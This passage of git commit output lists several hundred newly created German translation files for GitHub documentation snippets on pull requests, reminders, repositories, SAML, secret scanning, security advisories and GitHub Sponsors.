 create mode 100644 translations/de-DE/data/reusables/pull_requests/retention-checks-data.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/squash_and_merge_summary.md
 create mode 100644 translations/de-DE/data/reusables/pull_requests/you-can-auto-merge.md
 create mode 100644 translations/de-DE/data/reusables/release-notes/ghas-3.4-secret-scanning-known-issue.md
 create mode 100644 translations/de-DE/data/reusables/releases/previous-release-tag.md
 create mode 100644 translations/de-DE/data/reusables/reminders/about-scheduled-reminders-teams-orgs.md
 create mode 100644 translations/de-DE/data/reusables/reminders/add-reminder.md
 create mode 100644 translations/de-DE/data/reusables/reminders/approved-prs.md
 create mode 100644 translations/de-DE/data/reusables/reminders/author-reviews.md
 create mode 100644 translations/de-DE/data/reusables/reminders/authorize-slack.md
 create mode 100644 translations/de-DE/data/reusables/reminders/create-reminder.md
 create mode 100644 translations/de-DE/data/reusables/reminders/days-dropdown.md
 create mode 100644 translations/de-DE/data/reusables/reminders/delete.md
 create mode 100644 translations/de-DE/data/reusables/reminders/edit-existing.md
 create mode 100644 translations/de-DE/data/reusables/reminders/edit-page.md
 create mode 100644 translations/de-DE/data/reusables/reminders/ignore-drafts.md
 create mode 100644 translations/de-DE/data/reusables/reminders/ignored-labels.md
 create mode 100644 translations/de-DE/data/reusables/reminders/ignored-terms.md
 create mode 100644 translations/de-DE/data/reusables/reminders/min-age.md
 create mode 100644 translations/de-DE/data/reusables/reminders/min-staleness.md
 create mode 100644 translations/de-DE/data/reusables/reminders/no-review-requests.md
 create mode 100644 translations/de-DE/data/reusables/reminders/real-time-alerts.md
 create mode 100644 translations/de-DE/data/reusables/reminders/required-labels.md
 create mode 100644 translations/de-DE/data/reusables/reminders/scheduled-reminders-limitations.md
 create mode 100644 translations/de-DE/data/reusables/reminders/scheduled-reminders.md
 create mode 100644 translations/de-DE/data/reusables/reminders/slack-channel.md
 create mode 100644 translations/de-DE/data/reusables/reminders/times-dropdowns.md
 create mode 100644 translations/de-DE/data/reusables/reminders/tracked-repos.md
 create mode 100644 translations/de-DE/data/reusables/reminders/update-buttons.md
 create mode 100644 translations/de-DE/data/reusables/repositories/a-vulnerability-is.md
 create mode 100644 translations/de-DE/data/reusables/repositories/about-READMEs.md
 create mode 100644 translations/de-DE/data/reusables/repositories/about-github-actions.md
 create mode 100644 translations/de-DE/data/reusables/repositories/about-github-archive-program.md
 create mode 100644 translations/de-DE/data/reusables/repositories/about-internal-repos.md
 create mode 100644 translations/de-DE/data/reusables/repositories/accessing-repository-graphs.md
 create mode 100644 translations/de-DE/data/reusables/repositories/accessing-repository-people.md
 create mode 100644 translations/de-DE/data/reusables/repositories/action-root-user-required.md
 create mode 100644 translations/de-DE/data/reusables/repositories/actions-cache-list.md
 create mode 100644 translations/de-DE/data/reusables/repositories/actions-ci-cd.md
 create mode 100644 translations/de-DE/data/reusables/repositories/actions-env-var-note.md
 create mode 100644 translations/de-DE/data/reusables/repositories/actions-scheduled-workflow-example.md
 create mode 100644 translations/de-DE/data/reusables/repositories/actions-tab.md
 create mode 100644 translations/de-DE/data/reusables/repositories/actions-workflow-status-badge-intro.md
 create mode 100644 translations/de-DE/data/reusables/repositories/add-branch-protection-rules.md
 create mode 100644 translations/de-DE/data/reusables/repositories/administrators-can-disable-issues.md
 create mode 100644 translations/de-DE/data/reusables/repositories/allow-maintainers-user-forks.md
 create mode 100644 translations/de-DE/data/reusables/repositories/anyone-can-view-anonymized-url.md
 create mode 100644 translations/de-DE/data/reusables/repositories/archiving-repositories-recommendation.md
 create mode 100644 translations/de-DE/data/reusables/repositories/asking-for-review.md
 create mode 100644 translations/de-DE/data/reusables/repositories/assign-an-issue-as-project-maintainer.md
 create mode 100644 translations/de-DE/data/reusables/repositories/auto-gen-release-public-beta.md
 create mode 100644 translations/de-DE/data/reusables/repositories/autolink-references.md
 create mode 100644 translations/de-DE/data/reusables/repositories/blocked-passwords.md
 create mode 100644 translations/de-DE/data/reusables/repositories/branch-rules-example.md
 create mode 100644 translations/de-DE/data/reusables/repositories/changed-files.md
 create mode 100644 translations/de-DE/data/reusables/repositories/changed-repository-access-permissions.md
 create mode 100644 translations/de-DE/data/reusables/repositories/choose-line-or-range.md
 create mode 100644 translations/de-DE/data/reusables/repositories/choose-pr-review.md
 create mode 100644 translations/de-DE/data/reusables/repositories/choose-repo-visibility.md
 create mode 100644 translations/de-DE/data/reusables/repositories/click-collaborators-teams.md
 create mode 100644 translations/de-DE/data/reusables/repositories/click-dependency-graph.md
 create mode 100644 translations/de-DE/data/reusables/repositories/commit-signoffs.md
 create mode 100644 translations/de-DE/data/reusables/repositories/copy-clone-url.md
 create mode 100644 translations/de-DE/data/reusables/repositories/create-pull-request.md
 create mode 100644 translations/de-DE/data/reusables/repositories/create-repo.md
 create mode 100644 translations/de-DE/data/reusables/repositories/create_new.md
 create mode 100644 translations/de-DE/data/reusables/repositories/default-issue-templates.md
 create mode 100644 translations/de-DE/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md
 create mode 100644 translations/de-DE/data/reusables/repositories/dependency-review.md
 create mode 100644 translations/de-DE/data/reusables/repositories/deploy-keys-write-access.md
 create mode 100644 translations/de-DE/data/reusables/repositories/deploy-keys.md
 create mode 100644 translations/de-DE/data/reusables/repositories/desktop-fork.md
 create mode 100644 translations/de-DE/data/reusables/repositories/disabling-markdown-rendering.md
 create mode 100644 translations/de-DE/data/reusables/repositories/edit-file.md
 create mode 100644 translations/de-DE/data/reusables/repositories/edited-comment-list.md
 create mode 100644 translations/de-DE/data/reusables/repositories/enable-security-alerts.md
 create mode 100644 translations/de-DE/data/reusables/repositories/git-lfs.md
 create mode 100644 translations/de-DE/data/reusables/repositories/github-reviews-security-advisories.md
 create mode 100644 translations/de-DE/data/reusables/repositories/github-security-lab.md
 create mode 100644 translations/de-DE/data/reusables/repositories/initialize-with-readme.md
 create mode 100644 translations/de-DE/data/reusables/repositories/internal-repo-default.md
 create mode 100644 translations/de-DE/data/reusables/repositories/issue-template-config.md
 create mode 100644 translations/de-DE/data/reusables/repositories/legacy-issue-template-tip.md
 create mode 100644 translations/de-DE/data/reusables/repositories/list-closed-pull-requests.md
 create mode 100644 translations/de-DE/data/reusables/repositories/merge-all-pulls-together.md
 create mode 100644 translations/de-DE/data/reusables/repositories/navigate-to-branches.md
 create mode 100644 translations/de-DE/data/reusables/repositories/navigate-to-code-security-and-analysis.md
 create mode 100644 translations/de-DE/data/reusables/repositories/navigate-to-commit-page.md
 create mode 100644 translations/de-DE/data/reusables/repositories/navigate-to-ghas-settings.md
 create mode 100644 translations/de-DE/data/reusables/repositories/navigate-to-job.md
 create mode 100644 translations/de-DE/data/reusables/repositories/navigate-to-manage-access.md
 create mode 100644 translations/de-DE/data/reusables/repositories/navigate-to-repo.md
 create mode 100644 translations/de-DE/data/reusables/repositories/navigate-to-workflow.md
 create mode 100644 translations/de-DE/data/reusables/repositories/new-pull-request.md
 create mode 100644 translations/de-DE/data/reusables/repositories/new_issue.md
 create mode 100644 translations/de-DE/data/reusables/repositories/open-with-github-desktop.md
 create mode 100644 translations/de-DE/data/reusables/repositories/owner-drop-down.md
 create mode 100644 translations/de-DE/data/reusables/repositories/permissions-statement-read.md
 create mode 100644 translations/de-DE/data/reusables/repositories/permissions-statement-write.md
 create mode 100644 translations/de-DE/data/reusables/repositories/pr-title-description.md
 create mode 100644 translations/de-DE/data/reusables/repositories/private_forks_inherit_permissions.md
 create mode 100644 translations/de-DE/data/reusables/repositories/protected-branches-block-web-edits-uploads.md
 create mode 100644 translations/de-DE/data/reusables/repositories/reaction_list.md
 create mode 100644 translations/de-DE/data/reusables/repositories/relative-links.md
 create mode 100644 translations/de-DE/data/reusables/repositories/releases.md
 create mode 100644 translations/de-DE/data/reusables/repositories/repo-name.md
 create mode 100644 translations/de-DE/data/reusables/repositories/repo-size-limit.md
 create mode 100644 translations/de-DE/data/reusables/repositories/reported-content-resolved-tab.md
 create mode 100644 translations/de-DE/data/reusables/repositories/repository-branches.md
 create mode 100644 translations/de-DE/data/reusables/repositories/request-changes-tips.md
 create mode 100644 translations/de-DE/data/reusables/repositories/request-security-advisory-cve-id.md
 create mode 100644 translations/de-DE/data/reusables/repositories/return-to-source-diff.md
 create mode 100644 translations/de-DE/data/reusables/repositories/review-changes.md
 create mode 100644 translations/de-DE/data/reusables/repositories/review-policy-overlapping-commits.md
 create mode 100644 translations/de-DE/data/reusables/repositories/review-pr-commits.md
 create mode 100644 translations/de-DE/data/reusables/repositories/review-summary-comment.md
 create mode 100644 translations/de-DE/data/reusables/repositories/section-links.md
 create mode 100644 translations/de-DE/data/reusables/repositories/security-advisories-republishing.md
 create mode 100644 translations/de-DE/data/reusables/repositories/security-advisory-admin-permissions.md
 create mode 100644 translations/de-DE/data/reusables/repositories/security-advisory-collaborators-public-repositories.md
 create mode 100644 translations/de-DE/data/reusables/repositories/security-advisory-edit-cwe-cve.md
 create mode 100644 translations/de-DE/data/reusables/repositories/security-advisory-edit-description.md
 create mode 100644 translations/de-DE/data/reusables/repositories/security-advisory-edit-details.md
 create mode 100644 translations/de-DE/data/reusables/repositories/security-advisory-edit-severity.md
 create mode 100644 translations/de-DE/data/reusables/repositories/security-alert-delivery-options.md
 create mode 100644 translations/de-DE/data/reusables/repositories/security-alerts-x-github-severity.md
 create mode 100644 translations/de-DE/data/reusables/repositories/security-guidelines.md
 create mode 100644 translations/de-DE/data/reusables/repositories/select-items-in-issue-or-pr-list.md
 create mode 100644 translations/de-DE/data/reusables/repositories/select-marketplace-apps.md
 create mode 100644 translations/de-DE/data/reusables/repositories/sensitive-info-warning.md
 create mode 100644 translations/de-DE/data/reusables/repositories/settings-sidebar-actions-general.md
 create mode 100644 translations/de-DE/data/reusables/repositories/settings-sidebar-actions-runners.md
 create mode 100644 translations/de-DE/data/reusables/repositories/sidebar-advisories.md
 create mode 100644 translations/de-DE/data/reusables/repositories/sidebar-code-scanning-alerts.md
 create mode 100644 translations/de-DE/data/reusables/repositories/sidebar-dependabot-alerts.md
 create mode 100644 translations/de-DE/data/reusables/repositories/sidebar-issue-pr.md
 create mode 100644 translations/de-DE/data/reusables/repositories/sidebar-issues.md
 create mode 100644 translations/de-DE/data/reusables/repositories/sidebar-moderation-reported-content.md
 create mode 100644 translations/de-DE/data/reusables/repositories/sidebar-notifications.md
 create mode 100644 translations/de-DE/data/reusables/repositories/sidebar-pr.md
 create mode 100644 translations/de-DE/data/reusables/repositories/sidebar-security.md
 create mode 100644 translations/de-DE/data/reusables/repositories/sidebar-settings.md
 create mode 100644 translations/de-DE/data/reusables/repositories/sidebar-wiki.md
 create mode 100644 translations/de-DE/data/reusables/repositories/squash-and-rebase-linear-commit-history.md
 create mode 100644 translations/de-DE/data/reusables/repositories/start-line-comment.md
 create mode 100644 translations/de-DE/data/reusables/repositories/submit-new-issue.md
 create mode 100644 translations/de-DE/data/reusables/repositories/submit-review.md
 create mode 100644 translations/de-DE/data/reusables/repositories/suggest-changes.md
 create mode 100644 translations/de-DE/data/reusables/repositories/task-list-markdown.md
 create mode 100644 translations/de-DE/data/reusables/repositories/tracks-vulnerabilities.md
 create mode 100644 translations/de-DE/data/reusables/repositories/transfer-repository-steps.md
 create mode 100644 translations/de-DE/data/reusables/repositories/two-dot-diff-comparison-example-urls.md
 create mode 100644 translations/de-DE/data/reusables/repositories/type-issue-title-and-description.md
 create mode 100644 translations/de-DE/data/reusables/repositories/type-line-comment.md
 create mode 100644 translations/de-DE/data/reusables/repositories/valid-community-issues.md
 create mode 100644 translations/de-DE/data/reusables/repositories/view-failed-job-results.md
 create mode 100644 translations/de-DE/data/reusables/repositories/view-run.md
 create mode 100644 translations/de-DE/data/reusables/repositories/view-specific-line.md
 create mode 100644 translations/de-DE/data/reusables/repositories/workflow-notifications.md
 create mode 100644 translations/de-DE/data/reusables/repositories/you-can-fork.md
 create mode 100644 translations/de-DE/data/reusables/rest-api/always-check-your-limit.md
 create mode 100644 translations/de-DE/data/reusables/rest-api/dotcom-only-guide-note.md
 create mode 100644 translations/de-DE/data/reusables/saml/about-authorized-credentials.md
 create mode 100644 translations/de-DE/data/reusables/saml/about-linked-identities.md
 create mode 100644 translations/de-DE/data/reusables/saml/about-saml-access-enterprise-account.md
 create mode 100644 translations/de-DE/data/reusables/saml/about-saml-enterprise-accounts.md
 create mode 100644 translations/de-DE/data/reusables/saml/about-user-provisioning-enterprise-account.md
 create mode 100644 translations/de-DE/data/reusables/saml/ae-enable-saml-sso-during-bootstrapping.md
 create mode 100644 translations/de-DE/data/reusables/saml/ae-uses-saml-sso.md
 create mode 100644 translations/de-DE/data/reusables/saml/assert-the-administrator-attribute.md
 create mode 100644 translations/de-DE/data/reusables/saml/assign-yourself-to-okta.md
 create mode 100644 translations/de-DE/data/reusables/saml/authentication-loop.md
 create mode 100644 translations/de-DE/data/reusables/saml/authorized-creds-info.md
 create mode 100644 translations/de-DE/data/reusables/saml/click-enterprise-account-application.md
 create mode 100644 translations/de-DE/data/reusables/saml/click-person-revoke-credentials.md
 create mode 100644 translations/de-DE/data/reusables/saml/click-person-revoke-identity.md
 create mode 100644 translations/de-DE/data/reusables/saml/click-person-revoke-session.md
 create mode 100644 translations/de-DE/data/reusables/saml/confirm-revoke-credentials.md
 create mode 100644 translations/de-DE/data/reusables/saml/confirm-revoke-identity.md
 create mode 100644 translations/de-DE/data/reusables/saml/contact-support-if-your-idp-is-unavailable.md
 create mode 100644 translations/de-DE/data/reusables/saml/create-a-machine-user.md
 create mode 100644 translations/de-DE/data/reusables/saml/current-time-earlier-than-notbefore-condition.md
 create mode 100644 translations/de-DE/data/reusables/saml/dotcom-saml-explanation.md
 create mode 100644 translations/de-DE/data/reusables/saml/external-group-audit-events.md
 create mode 100644 translations/de-DE/data/reusables/saml/external-identity-audit-events.md
 create mode 100644 translations/de-DE/data/reusables/saml/ghec-only.md
 create mode 100644 translations/de-DE/data/reusables/saml/ghes-you-must-configure-saml-sso.md
 create mode 100644 translations/de-DE/data/reusables/saml/must-authorize-linked-identity.md
 create mode 100644 translations/de-DE/data/reusables/saml/okta-ae-applications-menu.md
 create mode 100644 translations/de-DE/data/reusables/saml/okta-ae-configure-app.md
 create mode 100644 translations/de-DE/data/reusables/saml/okta-ae-provisioning-tab.md
 create mode 100644 translations/de-DE/data/reusables/saml/okta-ae-sso-beta.md
 create mode 100644 translations/de-DE/data/reusables/saml/okta-applications-click-ghec-application-label.md
 create mode 100644 translations/de-DE/data/reusables/saml/okta-browse-app-catalog copy.md
 create mode 100644 translations/de-DE/data/reusables/saml/okta-browse-app-catalog.md
 create mode 100644 translations/de-DE/data/reusables/saml/okta-click-on-the-app.md
 create mode 100644 translations/de-DE/data/reusables/saml/okta-configure-api-integration.md
 create mode 100644 translations/de-DE/data/reusables/saml/okta-dashboard-click-applications.md
 create mode 100644 translations/de-DE/data/reusables/saml/okta-edit-provisioning.md
 create mode 100644 translations/de-DE/data/reusables/saml/okta-enable-api-integration.md
 create mode 100644 translations/de-DE/data/reusables/saml/okta-provisioning-tab.md
 create mode 100644 translations/de-DE/data/reusables/saml/okta-save-provisioning.md
 create mode 100644 translations/de-DE/data/reusables/saml/okta-sign-into-your-account.md
 create mode 100644 translations/de-DE/data/reusables/saml/okta-sign-on-tab.md
 create mode 100644 translations/de-DE/data/reusables/saml/okta-view-setup-instructions.md
 create mode 100644 translations/de-DE/data/reusables/saml/outside-collaborators-exemption.md
 create mode 100644 translations/de-DE/data/reusables/saml/recovery-code-access.md
 create mode 100644 translations/de-DE/data/reusables/saml/recovery-code-caveats.md
 create mode 100644 translations/de-DE/data/reusables/saml/removed-users-can-rejoin.md
 create mode 100644 translations/de-DE/data/reusables/saml/resources-without-sso.md
 create mode 100644 translations/de-DE/data/reusables/saml/revoke-authorized-credentials.md
 create mode 100644 translations/de-DE/data/reusables/saml/revoke-saml-session.md
 create mode 100644 translations/de-DE/data/reusables/saml/revoke-sso-identity.md
 create mode 100644 translations/de-DE/data/reusables/saml/saml-accounts.md
 create mode 100644 translations/de-DE/data/reusables/saml/saml-disabled-linked-identities-removed.md
 create mode 100644 translations/de-DE/data/reusables/saml/saml-ghes-account-revocation.md
 create mode 100644 translations/de-DE/data/reusables/saml/saml-identity-linked.md
 create mode 100644 translations/de-DE/data/reusables/saml/saml-requires-ghec.md
 create mode 100644 translations/de-DE/data/reusables/saml/saml-session-oauth.md
 create mode 100644 translations/de-DE/data/reusables/saml/saml-single-logout-not-supported.md
 create mode 100644 translations/de-DE/data/reusables/saml/saml-supported-idps.md
 create mode 100644 translations/de-DE/data/reusables/saml/switching-from-org-to-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/saml/testing-saml-sso.md
 create mode 100644 translations/de-DE/data/reusables/saml/use-classic-ui.md
 create mode 100644 translations/de-DE/data/reusables/saml/view-authorized-credentials.md
 create mode 100644 translations/de-DE/data/reusables/saml/view-saml-sessions.md
 create mode 100644 translations/de-DE/data/reusables/saml/view-sso-identity.md
 create mode 100644 translations/de-DE/data/reusables/saml/when-you-enforce.md
 create mode 100644 translations/de-DE/data/reusables/saml/you-must-periodically-authenticate.md
 create mode 100644 translations/de-DE/data/reusables/scim/after-you-configure-saml.md
 create mode 100644 translations/de-DE/data/reusables/scim/changes-should-come-from-idp.md
 create mode 100644 translations/de-DE/data/reusables/scim/dedicated-configuration-account.md
 create mode 100644 translations/de-DE/data/reusables/scim/emu-scim-rate-limit.md
 create mode 100644 translations/de-DE/data/reusables/scim/enterprise-account-scim.md
 create mode 100644 translations/de-DE/data/reusables/scim/ghes-beta-note.md
 create mode 100644 translations/de-DE/data/reusables/scim/ghes-scim-beta-note.md
 create mode 100644 translations/de-DE/data/reusables/scim/ghes-scim-idp-table.md
 create mode 100644 translations/de-DE/data/reusables/scim/nameid-and-username-must-match.md
 create mode 100644 translations/de-DE/data/reusables/scim/supported-idps.md
 create mode 100644 translations/de-DE/data/reusables/search/date_gt_lt.md
 create mode 100644 translations/de-DE/data/reusables/search/requested_reviews_search.md
 create mode 100644 translations/de-DE/data/reusables/search/requested_reviews_search_tip.md
 create mode 100644 translations/de-DE/data/reusables/search/required_login.md
 create mode 100644 translations/de-DE/data/reusables/search/search_issues_and_pull_requests_shortcut.md
 create mode 100644 translations/de-DE/data/reusables/search/syntax_tips.md
 create mode 100644 translations/de-DE/data/reusables/search/you-can-search-globally.md
 create mode 100644 translations/de-DE/data/reusables/secret-scanning/api-beta.md
 create mode 100644 translations/de-DE/data/reusables/secret-scanning/beta-dry-runs.md
 create mode 100644 translations/de-DE/data/reusables/secret-scanning/beta.md
 create mode 100644 translations/de-DE/data/reusables/secret-scanning/enterprise-enable-secret-scanning.md
 create mode 100644 translations/de-DE/data/reusables/secret-scanning/fpt-GHAS-scans.md
 create mode 100644 translations/de-DE/data/reusables/secret-scanning/partner-program-link.md
 create mode 100644 translations/de-DE/data/reusables/secret-scanning/partner-secret-list-private-repo.md
 create mode 100644 translations/de-DE/data/reusables/secret-scanning/partner-secret-list-public-repo.md
 create mode 100644 translations/de-DE/data/reusables/secret-scanning/push-protection-allow-email.md
 create mode 100644 translations/de-DE/data/reusables/secret-scanning/push-protection-allow-secrets-alerts.md
 create mode 100644 translations/de-DE/data/reusables/secret-scanning/push-protection-beta.md
 create mode 100644 translations/de-DE/data/reusables/secret-scanning/push-protection-choose-allow-secret-options.md
 create mode 100644 translations/de-DE/data/reusables/secret-scanning/push-protection-command-line-choice.md
 create mode 100644 translations/de-DE/data/reusables/secret-scanning/push-protection-multiple-branch-note.md
 create mode 100644 translations/de-DE/data/reusables/secret-scanning/push-protection-overview.md
 create mode 100644 translations/de-DE/data/reusables/secret-scanning/push-protection-remove-secret.md
 create mode 100644 translations/de-DE/data/reusables/secret-scanning/push-protection-web-ui-choice.md
 create mode 100644 translations/de-DE/data/reusables/secret-scanning/secret-list-private-push-protection.md
 create mode 100644 translations/de-DE/data/reusables/secret-scanning/secret-scanning-pattern-pair-matches.md
 create mode 100644 translations/de-DE/data/reusables/secret-scanning/secret-scanning-process.md
 create mode 100644 translations/de-DE/data/reusables/security-advisory/disclosing-vulnerabilities.md
 create mode 100644 translations/de-DE/data/reusables/security-advisory/global-advisories.md
 create mode 100644 translations/de-DE/data/reusables/security-advisory/link-browsing-advisory-db.md
 create mode 100644 translations/de-DE/data/reusables/security-advisory/repository-level-advisory-note.md
 create mode 100644 translations/de-DE/data/reusables/security-advisory/security-advisory-overview.md
 create mode 100644 translations/de-DE/data/reusables/security-advisory/security-researcher-cannot-create-advisory.md
 create mode 100644 translations/de-DE/data/reusables/security-overview/beta.md
 create mode 100644 translations/de-DE/data/reusables/security-overview/information-varies-GHAS.md
 create mode 100644 translations/de-DE/data/reusables/security-overview/permissions.md
 create mode 100644 translations/de-DE/data/reusables/security/compliance-report-list.md
 create mode 100644 translations/de-DE/data/reusables/security/compliance-report-screenshot.md
 create mode 100644 translations/de-DE/data/reusables/security/displayed-information.md
 create mode 100644 translations/de-DE/data/reusables/security/overview-of-phased-approach-for-ghas-rollout.md
 create mode 100644 translations/de-DE/data/reusables/security/security-and-analysis-features-enable-read-only.md
 create mode 100644 translations/de-DE/data/reusables/security/some-security-and-analysis-features-are-enabled-by-default.md
 create mode 100644 translations/de-DE/data/reusables/server-statistics/csv-download.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/authenticating_github_app.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/authenticating_with_github_apps.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/authorizing_oauth_apps.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/creating_custom_badges_github_apps.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/creating_custom_badges_oauth_apps.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/creating_github_apps.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/creating_oauth_apps.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/deleting_github_apps.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/deleting_oauth_apps.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/editing_permissions_for_github_apps.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/identifying_and_authorizing_github_apps.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/iso_8601.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/making-a-github-app-public-or-private.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/modifying_github_apps.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/modifying_oauth_apps.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/permissions_github_apps.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/rate_limits_github_apps.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/suspending_a_github_app.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/transferring_ownership_of_github_apps.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/transferring_ownership_of_oauth_apps.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/troubleshooting_access_token_reques_errors_oauth_apps.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/troubleshooting_authorization_request_errors_oauth_apps.md
 create mode 100644 translations/de-DE/data/reusables/shortdesc/understanding_scopes_for_oauth_apps.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/accept-legal-terms.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/add-active-triggers.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/add-introduction.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/add-more-tiers.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/add-payload-url.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/add-webhook.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/add-welcome-message.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/beta-note-sponsors-for-companies.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/billing-switcher.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/change-tier.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/choose-updates.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/click-add-tier.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/confirm-add-webhook.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/contact-info.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/create-stripe-account.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/double-check-stripe-info.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/draft-new-update.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/edit-bank-information.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/edit-featured-work.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/edit-goal.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/edit-tier.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/enable-custom-amounts.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/feedback.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/github-contact-applicants.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/github-review-app.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/legal-additional-terms.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/manage-existing-webhooks.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/manage-sponsorship.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/manage-updates-for-orgs.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/matching-fund-eligible.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/maximum-tier.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/meet-the-team.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/navigate-to-github-sponsors.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/navigate-to-payouts-tab.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/navigate-to-profile-tab.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/navigate-to-sponsor-tiers-tab.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/navigate-to-sponsored-account.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/navigate-to-sponsors-dashboard.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/navigate-to-sponsors-tab.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/navigate-to-webhooks-tab.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/navigate-to-your-goals-tab.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/no-fees.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/no-refunds.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/opt-in-to-being-featured.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/org-sponsored-choose-updates.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/org-sponsors-release-phase.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/overview-tab.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/pay-prorated-amount.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/payout-info.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/prorated-sponsorship.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/publish-goal.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/publish-sponsor-update.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/request-approval.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/retire-goal.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/retire-tier.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/review-and-publish-tier.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/review-tiers-to-select.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/save-profile.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/save-tier-draft.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/select-a-tier.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/select-goal-type.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/select-sponsorship-billing.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/send-update-to-sponsors.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/set-a-goal.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/settings-tab.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/short-bio.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/sponsor-account.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/sponsors-only-repos.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/sponsors-updates-tab.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/sponsorship-dashboard.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/sponsorship-details.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/sponsorships-not-tax-deductible.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/stripe-supported-regions.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/tax-form-information-dev.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/tax-form-information-org.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/tax-form-link.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/tier-details.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/tier-price-description.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/tier-update.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/update-sponsorship.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/view-eligible-accounts.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/webhook-content-formatting.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/webhook-secret-token.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/who-can-see-your-sponsorship.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/write-sponsor-update.md
 create mode 100644 translations/de-DE/data/reusables/sponsors/you-can-be-a-sponsored-developer.md
